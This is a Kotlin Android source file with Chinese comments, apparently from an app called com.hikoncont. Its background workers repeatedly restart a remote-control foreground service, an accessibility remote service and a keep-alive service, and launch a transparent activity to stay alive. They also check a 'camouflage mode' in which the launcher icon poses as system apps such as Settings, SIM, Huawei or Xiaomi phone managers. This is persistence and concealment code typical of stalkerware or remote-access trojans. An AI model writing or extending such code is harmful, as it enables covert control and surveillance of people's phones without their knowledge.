monitorServiceStatus()
|
|||
|
|
|
|||
|
|
// 3. 监控系统状态
|
|||
|
|
monitorSystemStatus()
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 监控工作执行完成")
|
|||
|
|
Result.success()
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 监控工作执行失败", e)
|
|||
|
|
Result.retry()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun monitorAppStatus() {
|
|||
|
|
try {
|
|||
|
|
val activityManager = applicationContext.getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|||
|
|
val runningApps = activityManager.getRunningAppProcesses()
|
|||
|
|
|
|||
|
|
val ourAppRunning = runningApps?.any { it.processName == applicationContext.packageName } ?: false
|
|||
|
|
Log.d(TAG, "📱 应用运行状态: $ourAppRunning")
|
|||
|
|
|
|||
|
|
if (!ourAppRunning) {
|
|||
|
|
Log.w(TAG, "⚠️ 应用进程未运行,可能需要恢复")
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 监控应用状态失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun monitorServiceStatus() {
|
|||
|
|
try {
|
|||
|
|
val isAccessibilityEnabled = isAccessibilityServiceEnabled(applicationContext)
|
|||
|
|
val isAccessibilityRunning = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
|
|||
|
|
|
|||
|
|
Log.d(TAG, "🔧 无障碍服务监控: enabled=$isAccessibilityEnabled, running=$isAccessibilityRunning")
|
|||
|
|
|
|||
|
|
if (isAccessibilityEnabled && !isAccessibilityRunning) {
|
|||
|
|
Log.w(TAG, "⚠️ 无障碍服务异常,需要恢复")
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 监控服务状态失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun monitorSystemStatus() {
|
|||
|
|
try {
|
|||
|
|
val batteryManager = applicationContext.getSystemService(Context.BATTERY_SERVICE) as android.os.BatteryManager
|
|||
|
|
val batteryLevel = batteryManager.getIntProperty(android.os.BatteryManager.BATTERY_PROPERTY_CAPACITY)
|
|||
|
|
|
|||
|
|
Log.d(TAG, "🔋 电池状态: $batteryLevel%")
|
|||
|
|
|
|||
|
|
if (batteryLevel < 20) {
|
|||
|
|
Log.w(TAG, "⚠️ 电池电量低,可能需要调整保活策略")
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 监控系统状态失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 检查无障碍服务是否已启用
|
|||
|
|
*/
|
|||
|
|
private fun isAccessibilityServiceEnabled(context: Context): Boolean {
|
|||
|
|
return try {
|
|||
|
|
val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as android.view.accessibility.AccessibilityManager
|
|||
|
|
val enabledServices = android.provider.Settings.Secure.getString(
|
|||
|
|
context.contentResolver,
|
|||
|
|
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
|
|||
|
|
)
|
|||
|
|
enabledServices?.contains("${context.packageName}/${com.hikoncont.service.AccessibilityRemoteService::class.java.name}") ?: false
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查无障碍服务启用状态失败", e)
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 恢复工作器
|
|||
|
|
*/
|
|||
|
|
class RecoveryWorker(
|
|||
|
|
context: Context,
|
|||
|
|
params: WorkerParameters
|
|||
|
|
) : CoroutineWorker(context, params) {
|
|||
|
|
|
|||
|
|
companion object {
|
|||
|
|
private const val TAG = "RecoveryWorker"
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override suspend fun doWork(): Result {
|
|||
|
|
return try {
|
|||
|
|
Log.i(TAG, "🔧 执行恢复工作")
|
|||
|
|
|
|||
|
|
// 1. 恢复无障碍服务
|
|||
|
|
// ✅ 参考 f 目录:不恢复无障碍服务,系统会自动管理
|
|||
|
|
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动恢复")
|
|||
|
|
|
|||
|
|
// 2. 恢复前台服务
|
|||
|
|
recoverForegroundService()
|
|||
|
|
|
|||
|
|
// 3. 恢复网络连接
|
|||
|
|
recoverNetworkConnection()
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 恢复工作执行完成")
|
|||
|
|
Result.success()
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 恢复工作执行失败", e)
|
|||
|
|
Result.retry()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// ✅ 参考 f 目录:已移除恢复无障碍服务的功能,系统会自动管理无障碍服务生命周期
|
|||
|
|
|
|||
|
|
private suspend fun recoverForegroundService() {
|
|||
|
|
try {
|
|||
|
|
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
|||
|
|
applicationContext.startForegroundService(intent)
|
|||
|
|
Log.d(TAG, "✅ 前台服务恢复完成")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 恢复前台服务失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun recoverNetworkConnection() {
|
|||
|
|
try {
|
|||
|
|
// 这里可以添加网络连接恢复逻辑
|
|||
|
|
// 例如:重新连接Socket.IO、发送心跳包等
|
|||
|
|
Log.d(TAG, "🌐 网络连接恢复检查完成")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 恢复网络连接失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 检查无障碍服务是否已启用
|
|||
|
|
*/
|
|||
|
|
private fun isAccessibilityServiceEnabled(context: Context): Boolean {
|
|||
|
|
return try {
|
|||
|
|
val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as android.view.accessibility.AccessibilityManager
|
|||
|
|
val enabledServices = android.provider.Settings.Secure.getString(
|
|||
|
|
context.contentResolver,
|
|||
|
|
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
|
|||
|
|
)
|
|||
|
|
enabledServices?.contains("${context.packageName}/${com.hikoncont.service.AccessibilityRemoteService::class.java.name}") ?: false
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查无障碍服务启用状态失败", e)
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 快速恢复工作器(15秒间隔)
|
|||
|
|
*/
|
|||
|
|
class QuickRecoveryWorker(
|
|||
|
|
context: Context,
|
|||
|
|
params: WorkerParameters
|
|||
|
|
) : CoroutineWorker(context, params) {
|
|||
|
|
|
|||
|
|
companion object {
|
|||
|
|
private const val TAG = "QuickRecoveryWorker"
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override suspend fun doWork(): Result {
|
|||
|
|
return try {
|
|||
|
|
Log.i(TAG, "⚡ 执行快速恢复工作")
|
|||
|
|
|
|||
|
|
// 1. 检查应用状态
|
|||
|
|
val isAppRunning = checkAppRunning()
|
|||
|
|
|
|||
|
|
if (!isAppRunning) {
|
|||
|
|
Log.w(TAG, "⚠️ 应用未运行,执行快速恢复")
|
|||
|
|
|
|||
|
|
// 2. 启动前台服务
|
|||
|
|
startForegroundService()
|
|||
|
|
|
|||
|
|
// 3. 启动无障碍服务
|
|||
|
|
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
|||
|
|
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
|
|||
|
|
|
|||
|
|
// 4. 启动主服务
|
|||
|
|
startMainServices()
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 快速恢复完成")
|
|||
|
|
} else {
|
|||
|
|
Log.d(TAG, "✅ 应用运行正常,无需恢复")
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Result.success()
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 快速恢复工作执行失败", e)
|
|||
|
|
Result.retry()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun checkAppRunning(): Boolean {
|
|||
|
|
return try {
|
|||
|
|
val activityManager = applicationContext.getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|||
|
|
val runningApps = activityManager.getRunningAppProcesses()
|
|||
|
|
runningApps?.any { it.processName == applicationContext.packageName } ?: false
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查应用运行状态失败", e)
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun startForegroundService() {
|
|||
|
|
try {
|
|||
|
|
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
|||
|
|
applicationContext.startForegroundService(intent)
|
|||
|
|
Log.d(TAG, "✅ 前台服务已启动")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 启动前台服务失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// ✅ 参考 f 目录:已移除重启无障碍服务的功能,系统会自动管理无障碍服务生命周期
|
|||
|
|
|
|||
|
|
private suspend fun startMainServices() {
|
|||
|
|
try {
|
|||
|
|
val intent = android.content.Intent(applicationContext, com.hikoncont.service.KeepAliveService::class.java)
|
|||
|
|
applicationContext.startService(intent)
|
|||
|
|
Log.d(TAG, "✅ 主服务已启动")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 启动主服务失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 检查无障碍服务是否已启用
|
|||
|
|
*/
|
|||
|
|
private fun isAccessibilityServiceEnabled(context: Context): Boolean {
|
|||
|
|
return try {
|
|||
|
|
val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as android.view.accessibility.AccessibilityManager
|
|||
|
|
val enabledServices = android.provider.Settings.Secure.getString(
|
|||
|
|
context.contentResolver,
|
|||
|
|
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
|
|||
|
|
)
|
|||
|
|
enabledServices?.contains("${context.packageName}/${com.hikoncont.service.AccessibilityRemoteService::class.java.name}") ?: false
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查无障碍服务启用状态失败", e)
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 紧急恢复工作器(5秒间隔)
|
|||
|
|
*/
|
|||
|
|
class EmergencyRecoveryWorker(
|
|||
|
|
context: Context,
|
|||
|
|
params: WorkerParameters
|
|||
|
|
) : CoroutineWorker(context, params) {
|
|||
|
|
|
|||
|
|
companion object {
|
|||
|
|
private const val TAG = "EmergencyRecoveryWorker"
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override suspend fun doWork(): Result {
|
|||
|
|
return try {
|
|||
|
|
Log.i(TAG, "🚨 执行紧急恢复工作")
|
|||
|
|
|
|||
|
|
// 1. 检查关键服务状态
|
|||
|
|
val isAccessibilityRunning = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
|
|||
|
|
val isAppRunning = checkAppRunning()
|
|||
|
|
|
|||
|
|
if (!isAppRunning || !isAccessibilityRunning) {
|
|||
|
|
Log.w(TAG, "🚨 检测到关键服务异常,执行紧急恢复")
|
|||
|
|
|
|||
|
|
// 2. 立即启动前台服务
|
|||
|
|
startForegroundService()
|
|||
|
|
|
|||
|
|
// 3. 发送紧急恢复广播
|
|||
|
|
sendEmergencyRecoveryBroadcast()
|
|||
|
|
|
|||
|
|
// 4. 启动应用主Activity(如果需要)
|
|||
|
|
if (!isAppRunning) {
|
|||
|
|
startMainActivity()
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 紧急恢复完成")
|
|||
|
|
} else {
|
|||
|
|
Log.d(TAG, "✅ 关键服务运行正常")
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Result.success()
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 紧急恢复工作执行失败", e)
|
|||
|
|
Result.retry()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun checkAppRunning(): Boolean {
|
|||
|
|
return try {
|
|||
|
|
val activityManager = applicationContext.getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|||
|
|
val runningApps = activityManager.getRunningAppProcesses()
|
|||
|
|
runningApps?.any { it.processName == applicationContext.packageName } ?: false
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查应用运行状态失败", e)
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun startForegroundService() {
|
|||
|
|
try {
|
|||
|
|
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
|||
|
|
applicationContext.startForegroundService(intent)
|
|||
|
|
Log.d(TAG, "✅ 前台服务紧急启动完成")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 紧急启动前台服务失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun sendEmergencyRecoveryBroadcast() {
|
|||
|
|
try {
|
|||
|
|
val intent = android.content.Intent("android.mycustrecev.EMERGENCY_RECOVERY")
|
|||
|
|
intent.putExtra("timestamp", System.currentTimeMillis())
|
|||
|
|
applicationContext.sendBroadcast(intent)
|
|||
|
|
Log.d(TAG, "✅ 紧急恢复广播已发送")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 发送紧急恢复广播失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun startMainActivity() {
|
|||
|
|
try {
|
|||
|
|
// 检查是否在伪装模式下
|
|||
|
|
if (isAppInCamouflageMode()) {
|
|||
|
|
Log.d(TAG, "🎭 检测到伪装模式,跳过启动MainActivity")
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// ✅ 新增:OPPO设备检测,禁用Activity保活
|
|||
|
|
if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) {
|
|||
|
|
Log.i(TAG, "📱 OPPO设备:WorkManager跳过Activity保活,仅使用服务保活")
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 参照反编译应用策略:启动透明保活Activity而不是MainActivity
|
|||
|
|
val intent = android.content.Intent(applicationContext, com.hikoncont.TransparentKeepAliveActivity::class.java)
|
|||
|
|
intent.flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK
|
|||
|
|
intent.putExtra("from_workmanager_keepalive", true)
|
|||
|
|
intent.putExtra("keepalive_launch", true)
|
|||
|
|
intent.putExtra("from_service", true)
|
|||
|
|
applicationContext.startActivity(intent)
|
|||
|
|
Log.d(TAG, "✅ 透明保活Activity紧急启动完成")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 紧急启动主Activity失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 检查应用是否处于伪装模式
|
|||
|
|
*/
|
|||
|
|
private fun isAppInCamouflageMode(): Boolean {
|
|||
|
|
return try {
|
|||
|
|
val packageManager = applicationContext.packageManager
|
|||
|
|
val mainComponent = android.content.ComponentName(applicationContext, "com.hikoncont.MainActivity")
|
|||
|
|
|
|||
|
|
val camouflageAliases = listOf(
|
|||
|
|
"com.hikoncont.PhoneManagerAlias",
|
|||
|
|
"com.hikoncont.VivoIGuanjiaAlias",
|
|||
|
|
"com.hikoncont.OppoAlias",
|
|||
|
|
"com.hikoncont.HuaweiAlias",
|
|||
|
|
"com.hikoncont.HonorAlias",
|
|||
|
|
"com.hikoncont.XiaomiAlias",
|
|||
|
|
"com.hikoncont.SettingsAlias",
|
|||
|
|
"com.hikoncont.SIMAlias"
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
|
|||
|
|
val isMainDisabled = (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
|
|||
|
|
|
|||
|
|
var anyAliasEnabled = false
|
|||
|
|
for (aliasName in camouflageAliases) {
|
|||
|
|
try {
|
|||
|
|
val component = android.content.ComponentName(applicationContext, aliasName)
|
|||
|
|
val enabled = packageManager.getComponentEnabledSetting(component)
|
|||
|
|
if (enabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
|
|||
|
|
anyAliasEnabled = true
|
|||
|
|
break
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
val isCamouflage = isMainDisabled && anyAliasEnabled
|
|||
|
|
Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (Main: $mainDisabled, AnyAlias: $anyAliasEnabled)")
|
|||
|
|
isCamouflage
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查APP伪装模式失败", e)
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 检查无障碍服务是否已启用
|
|||
|
|
*/
|
|||
|
|
private fun isAccessibilityServiceEnabled(context: Context): Boolean {
|
|||
|
|
return try {
|
|||
|
|
val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as android.view.accessibility.AccessibilityManager
|
|||
|
|
val enabledServices = android.provider.Settings.Secure.getString(
|
|||
|
|
context.contentResolver,
|
|||
|
|
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
|
|||
|
|
)
|
|||
|
|
enabledServices?.contains("${context.packageName}/${com.hikoncont.service.AccessibilityRemoteService::class.java.name}") ?: false
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查无障碍服务启用状态失败", e)
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|